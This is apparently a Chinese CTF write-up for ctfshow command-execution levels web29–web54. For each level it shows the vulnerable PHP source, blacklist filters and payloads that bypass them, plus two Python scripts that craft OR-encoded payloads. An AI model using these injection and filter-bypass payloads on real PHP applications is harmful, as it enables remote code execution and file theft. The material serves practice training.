# web29
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 00:26:48 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤了 flag
payload
?c=system(“tac%20fla*”); |

# web30
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 00:42:26 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|system|php/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤了 flag 、 system 、 php
payload
?c=passthru("tac%20fla*"); |

# web31
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 00:49:10 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
题解一
system 被过滤可以用 passthru 函数绕过, cat 被过滤可以用 more、less、nl 绕过 (但我试过 more 不行??),空格被过滤可以用 ${IFS} 、 %09 绕过。
空格绕过
${IFS}但不能写作$IFS
$IFS$
%09
<>
<$IFS%09
?c=passthru("tac%09fla*"); |

题解二
以 c 作为跳板执行另一个参数 a 的命令, a 的命令不受限制
?c=eval($_GET[a]);&a=system("cat flag.php");#之后 F12 查看源代码 | |
?c=eval($_GET[a]);&a=system("tac flag.php"); |

# web32
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 00:56:31 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤了 单引号、反引号、分号 等符号
文件包含漏洞
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php |


# web33
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 02:22:27 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
// | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
多过滤了双引号,用数组作为参数即可绕过
题解一
同上
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php |

题解二
?c=require$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php |

# web34
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 04:21:29 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
多过滤了冒号、括号
不能使用 echo
不能使用 eval 因为需要括号
同上
payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php |

# web35
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 04:21:23 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤了 尖括号、等于号
同上
payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php |

# web36
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 04:21:16 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤了 数字
同上
payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php |

# web37
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 05:18:55 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
//flag in flag.php | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag/i", $c)){ | |
include($c); | |
echo $flag; | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
payload
?c=data://text/plain,<?php system("tac fla*");?> |

- 当你使用
?c=data://text/plain,<?php system("tac fla*");?>时,PHP 会通过data://伪协议动态生成一个 PHP 文件,并将其内容当作 PHP 代码来执行。include()的作用是加载这个动态生成的文件内容并执行它。- 在这个过程中,
system("tac fla*")被执行,其输出直接写入到 HTTP 响应流中(stdout),因此你可以看到flag.php的内容。换句话说,
system()的输出并不是被include()捕获,而是直接写入到 HTTP 响应中 。这就是为什么你能看到flag.php的内容。
# web38
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 05:23:36 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
//flag in flag.php | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag|php|file/i", $c)){ | |
include($c); | |
echo $flag; | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
题目过滤 “php” “flag”
将
<?php system(“tac fla*”);?>进行 base64 编码得到PD9waHAgc3lzdGVtKCJ0YWMgZmxhKiIpOz8+但是 URl 会将
+解析成空格,所以这个不行
构造 payload
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg== | |
#由<?php system("tac flag.php");?> 进行base64编码而来 |
或者利用短标签,将 php 换成 =
?c=data://text/plain,<?=%20system("cat%20fla*");?> |
?c=data://text/plain,<?=%20system("tac%20fla*");?> |

# web39
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 06:13:21 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
//flag in flag.php | |
error_reporting(0); | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/flag/i", $c)){ | |
include($c.".php"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
payload
?c=data://text/plain,<?= system("tac fla*");?> | |
?c=data://text/plain,<?php system("tac fla*");?> |

# web40
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-04 00:12:34 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-04 06:03:36 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c = $_GET['c']; | |
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ | |
eval($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
无参文件读取
题解一
通过构造 payload 输出当前文件下的文件名
print_r(scandir(‘.’)); |
但是由于过滤了相关符号,所以不能使用这个 payload,要想办法去掉 . 小数点
getallheaders():返回所有的HTTP头信息,返回的是数组⽽eval要求为字符串,所以要⽤implode()函数将数组转换为字符串 | |
get_defined_vars():该函数的作⽤是获取所有的已定义变量,返回值也是数组,不过是二维数组,⽤var_dump()输出可以看⻅输出的内容,看⻅在第⼏位之后,可以⽤current()函数来获取其值,详细可以看官⽅函数。payload:var_dump(current(get_defined_vars())); | |
session_id():session_id()可以⽤来获取/设置当前会话 ID,可以⽤这个函数来获取cookie | |
中的phpsessionid,并且这个值我们是可控的。 | |
如可以在cookie中设置 PHPSESSID=706870696e666f28293b,然后⽤hex2bin()函数,即传⼊?exp=eval(hex2bin(session_id(session_start()))); 并设置cookie:PHP | |
SESSID=706870696e666f28293b | |
session_start 函数是为了开启session | |
配合使⽤的函数: | |
print_r(scandir(‘.’)); 查看当前⽬录下的所有⽂件名 print_r输出数组 print输出字符串 | |
var_dump() | |
localeconv() 函数返回⼀包含本地数字及货币格式信息的数组。localeconv() 返回数组的第一个元素通常是:"." | |
current() 函数返回数组中的当前元素(单元),默认取第⼀个值,pos是current的别名 | |
each() 返回数组中当前的键/值对并将数组指针向前移动⼀步 | |
end() 将数组的内部指针指向最后⼀个单元 | |
next() 将数组中的内部指针向前移动⼀位 | |
prev() 将数组中的内部指针倒回⼀位 | |
array_reverse() 以相反的元素顺序返回数组 |
构造 payload 等价于 print_r(scandir(‘.’));
?c=print_r(scandir(current(localeconv()))); | |
?c=print_r(scandir(pos(localeconv()))); | |
?c=print_r(scandir(reset(localeconv()))); |

Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php ) |
可以发现 flag.php 在数组的倒数第二个值里,我们可以通过 array_reverse 进行逆转数组,然后用 next () 函数进行下一个值的读取。以下 payload 达到的效果是:输出 flag.php 源码,安全绕过字符过滤器
?c=highlight_flie(next(array_reverse(scandir(current(localeconv()))))); | |
?c=show_source(next(array_reverse(scandir(current(localeconv()))))); |
$flag="ctfshow{d960f2a2-e9a5-4b80-a806-5e6a0e6b85c6}";

题解二
✅ Step 1: get_defined_vars() 是 PHP 的内置函数,返回当前作用域里定义的所有变量
?c=print_r(get_defined_vars()); |

返回结果
Array ( | |
[_GET] => Array ( [c] => print_r(get_defined_vars()); ) | |
[_POST] => Array ( ) | |
[_COOKIE] => Array ( ) | |
[_FILES] => Array ( ) | |
[c] => print_r(get_defined_vars()); | |
) |
说明现在已经有变量 $_GET 、 $_POST 、还有 c 等都在作用域内。
✅ Step 2: post 传参
1=phpinfo(); |
确认通过 POST 成功地注入了一段代码字符串

Array ( | |
[_GET] => Array ( [c] => print_r(get_defined_vars()); ) | |
[_POST] => Array ( [1] => phpinfo(); ) | |
[_COOKIE] => Array ( ) | |
[_FILES] => Array ( ) | |
[c] => print_r(get_defined_vars()); | |
) |
✅ Step 3:返回数组
?c=print_r(next(get_defined_vars())); |
可以成功拿到 phpinfo () 数组

然后我们想让 eval() 执行这个 phpinfo(); ,但我们不能直接写 eval($_POST['1']) ,因为 [ 和 ] 被正则拦截了。
✅ Step 4:
弹出数组
array_pop(...) // 从这个数组中 “弹出” 最后一个值 |
从 $_POST 数组中 “取出” 我们传的值: phpinfo();
?c=print_r(array_pop(next(get_defined_vars()))); |

页面返回 phpinfo () 这意味着我们已经成功拿到了想要执行的恶意代码字符串
✅ Step 5: 执行代码 得到 php 配置页面
?c=eval(array_pop(next(get_defined_vars()))); |

✅ Step 6:post 传参
1=system("tac fla*"); |

用户传入: | |
?c=eval(array_pop(next(get_defined_vars()))) | |
程序执行: | |
eval("eval(array_pop(next(get_defined_vars())))") | |
第一个 eval 执行: | |
eval(array_pop(next(get_defined_vars()))) | |
第二个 eval 执行: | |
system("tac fla*"); |
# web41
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: 羽 | |
# @Date: 2020-09-05 20:31:22 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 22:40:07 | |
# @email: 1341963450@qq.com | |
# @link: https://ctf.show | |
*/ | |
if(isset($_POST['c'])){ | |
$c = $_POST['c']; | |
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ | |
eval("echo($c);"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} | |
?> |
这道题过滤了 数字 和 字母 (因为后面 /i 对大小写不敏感),并且不能用 异或 、 取反 、 自增 等操作(过
滤 $ 、 + 、 - 、 ^ 、 ~ ),但是可以用 | (或)
题解一
先通过以下 1.php 脚本生成一个 rce_or.txt ,内容是上述可用字符及编码。
#1.php | |
<?php | |
$myfile = fopen("rce_or.txt", "w"); | |
$contents=""; | |
for ($i=0; $i < 256; $i++) { | |
for ($j=0; $j <256 ; $j++) { | |
if($i<16){ | |
$hex_i='0'.dechex($i); | |
} | |
else{ | |
$hex_i=dechex($i); | |
} | |
if($j<16){ | |
$hex_j='0'.dechex($j); | |
} | |
else{ | |
$hex_j=dechex($j); | |
} | |
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; | |
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ | |
echo ""; | |
} | |
else{ | |
$a='%'.$hex_i; | |
$b='%'.$hex_j; | |
$c=(urldecode($a)|urldecode($b)); | |
if (ord($c)>=32&ord($c)<=126) { | |
$contents=$contents.$c." ".$a." ".$b."\n"; | |
} | |
} | |
} | |
} | |
fwrite($myfile,$contents); | |
fclose($myfile); |

运行 python 脚本 rec_or.py

cmd 命令
...>python rce_or.py http://8f42bff8-638e-4021-b42a-8e4fbb5a0e50.challenge.ctf.show/ |

#rce_or.py | |
# -*- coding: utf-8 -*- | |
import requests | |
import urllib | |
from sys import * | |
import os | |
os.system("php rce_or.php") #没有将 php 写入环境变量需手动运行 | |
if(len(argv)!=2): | |
print("="*50) | |
print('USER:python exp.py <url>') | |
print("eg: python exp.py http://ctf.show/") | |
print("="*50) | |
exit(0) | |
url=argv[1] | |
def action(arg): | |
s1="" | |
s2="" | |
for i in arg: | |
f=open("rce_or.txt","r")//rce_or.txt | |
while True: | |
t=f.readline() | |
if t=="": | |
break | |
if t[0]==i: | |
#print(i) | |
s1+=t[2:5] | |
s2+=t[6:9] | |
break | |
f.close() | |
output="(\""+s1+"\"|\""+s2+"\")" | |
return(output) | |
while True: | |
param=action(input("\n[+] your function:") )+action(input("[+] your command:")) | |
data={ | |
'c':urllib.parse.unquote(param) | |
} | |
r=requests.post(url,data=data) | |
print("\n[*] result:\n"+r.text) |
题解二
ctfshow_web41.py
#ctfshow_web41.py | |
import re | |
import requests | |
available = [] | |
url = "http://8f42bff8-638e-4021-b42a-8e4fbb5a0e50.challenge.ctf.show/" # 修改 URL | |
for i in range(0,256): | |
result = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',chr(i),re.I) | |
if result is None: | |
available.append(chr(i)) | |
key1 = "system" #修改命令 | |
key2 = "cat flag.php" #修改命令 | |
gkey1 = "" | |
gkey2 = "" | |
data1 = "" | |
data2 = "" | |
def orkey(pos,keys): | |
global gkey1 | |
global gkey2 | |
for i in range(0,len(available)): | |
for j in range(i,len(available)): | |
if ord(available[i])|ord(available[j]) == ord(keys[pos]): | |
gkey1 += available[i] | |
gkey2 += available[j] | |
return | |
for i in range(len(key1)): | |
orkey(i,key1) | |
data1 = "(\""+gkey1+"\"|"+"\""+gkey2+"\")" | |
gkey1 = "" | |
gkey2 = "" | |
for i in range(len(key2)): | |
orkey(i,key2) | |
data2 = "(\""+gkey1+"\"|"+"\""+gkey2+"\")" | |
data ={ | |
"c":data1 + data2 | |
} | |
res = requests.post(url,data) | |
print(res.text) |

# web42
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 20:51:55 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
system($c." >/dev/null 2>&1"); | |
}else{ | |
highlight_file(__FILE__); | |
} |
/dev/null—— “黑洞” 设备文件
/dev/null是 Linux 系统中一个特殊的设备文件,可以看作一个 “数据黑洞”:
- 写入它的所有内容都会被丢弃;
- 读取它则永远什么也得不到(立即返回 EOF)。
📌 常见用途:
操作 意义 command > /dev/null把标准输出丢弃,禁止输出任何正常信息 command 2> /dev/null把标准错误丢弃,屏蔽错误信息 command > /dev/null 2>&1同时屏蔽标准输出和标准错误,终端不会显示任何信息
1>/dev/null 2>&1的含义和解析分解成五步解释:
✅ 表达形式:
command 1>/dev/null 2>&1✅ 关键点详解:
表达部分 含义 1>标准输出(stdout,文件描述符 1)的重定向 /dev/null重定向的目标是黑洞设备文件,等价于 "扔掉" 2>标准错误(stderr,文件描述符 2)的重定向 &1代表 “重定向到与文件描述符 1 相同的地方”,即 stdout 当前的去向 🎯 整体理解:
1>/dev/null:标准输出被重定向到 /dev/null,不显示任何正常信息;2>&1:标准错误也被重定向到标准输出的目标(此时标准输出已经是 /dev/null),所以错误信息也不显示。✅ 所以最终效果是:所有输出(正常 + 错误)全部被丢弃,终端不会显示任何信息。
题目这里是 $c 参数后面接了个 >/dev/null 2>&1 ,使用 > /dev/null 2>&1 将命令结果全部丢弃(不进行回显的意思)
; //分号 | |
| //只执行后面那条命令(把前一个命令的输出作为后一个命令的输入) | |
|| //只执行前面那条命令(只有前一个命令执行失败(退出码非 0),才执行后一个命令) | |
& //两条命令都会执行(让前面的命令在后台运行,立即返回执行下一条命令) | |
&& //两条命令都会执行(只有前一个命令执行成功(退出码是 0),才执行后一个命令) |
构造 payload
?c=tac fla*; | |
?c=tac fla*|| | |
?c=tac fla*%0a #利用换行分隔 | |
?c=cat flag.php|| #之后查看源代码 | |
?c=tac%20fla*%26%26 #即为?c=tac%20fla*&&,将前面的命令保留,后面的命令丢弃,& 需要 URL 编码 |

# web43
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 21:32:51 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
正则过滤 ; cat
payload 参考 web42
?c=tac fla*|| | |
?c=tac fla*%0a #利用换行分隔 | |
?c=tac%20fla*%26%26 #即为?c=tac%20fla*&&,将前面的命令保留,后面的命令丢弃,& 需要 URL 编码 |

# web44
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 21:32:01 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/;|cat|flag/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
正则过滤 ; cat flag
payload 参考 web42
?c=tac fla*|| | |
?c=tac fla*%0a #利用换行分隔 | |
?c=tac%20fla*%26%26 #即为?c=tac%20fla*&&,将前面的命令保留,后面的命令丢弃,& 需要 URL 编码 |

# web45
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 21:35:34 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| /i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
正则过滤 ; cat flag 空格
payload 参考 web42
%09代替空格
?c=tac%09fla*|| | |
?c=tac%0afla*%0a #利用换行分隔 | |
?c=tac%0afla*%26%26 #即为?c=tac%20fla*&&,将前面的命令保留,后面的命令丢弃,& 需要 URL 编码 |

# web46
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 21:50:19 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
正则过滤 ; cat flag 空格 数字 $ *
用 ? 代替 * 即可
%09不是数字
payload 参考 web42
?c=tac%09fl?g.php|| | |
?c=tac%09fla?.???|| |
# web47
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
在前几题基础上过滤了 more less head sort tail
payload 不变
?c=tac%09fl?g.php|| | |
?c=tac%09fla?.???|| |

# web48
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 22:06:20 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
payload:
?c=tac%09fla?.php|| |
# web49
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 22:22:43 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
payload:
?c=tac%09fla?.php|| |

# web50
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 22:32:47 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
想到用 <> 代替 %09
但是发现
<>和?组合的时候是没有回显输出的
所以使用 \ 或 '' 代替 ?
?c=tac<>fla\g.php|| | |
?c=tac<>fla\g.php%0a | |
?c=tac<>fla''g.php|| |

# web51
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 22:42:52 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤了 tac
另外同 cat 功能的函数还有:
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev
?c=nl<>fl\ag.php|| |

# web52
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-05 22:50:30 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ | |
system($c." >/dev/null 2>&1"); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
过滤了 <>
?c=nl${IFS}fla\g.php|| |
查看源代码后,发现 flag 换位置了

查看根目录
?c=ls${IFS}/|| |

查看根目录下的 flag 文件(根目录是 / )
?c=nl${IFS}/fla\g|| |

# web53
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: h1xa | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-07 18:21:02 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ | |
echo($c); | |
$d = system($c); | |
echo "<br>".$d; | |
}else{ | |
echo 'no'; | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
甚至不用命令分隔了
?c=nl${IFS}fla\g.php | |
?c=ta''c${IFS}fla?.php | |
?c=ca''t${IFS}fla?.php #之后查看源代码 |

# web54
<?php | |
/* | |
# -*- coding: utf-8 -*- | |
# @Author: Lazzaro | |
# @Date: 2020-09-05 20:49:30 | |
# @Last Modified by: h1xa | |
# @Last Modified time: 2020-09-07 19:43:42 | |
# @email: h1xa@ctfer.com | |
# @link: https://ctfer.com | |
*/ | |
if(isset($_GET['c'])){ | |
$c=$_GET['c']; | |
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ | |
system($c); | |
} | |
}else{ | |
highlight_file(__FILE__); | |
} |
题解一
grep test *file#在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
grep '{' fla?.php在 fla?.php 匹配到的文件中,查找含有{的文件,并打印出包含{的这一行
?c=grep${IFS}%27 |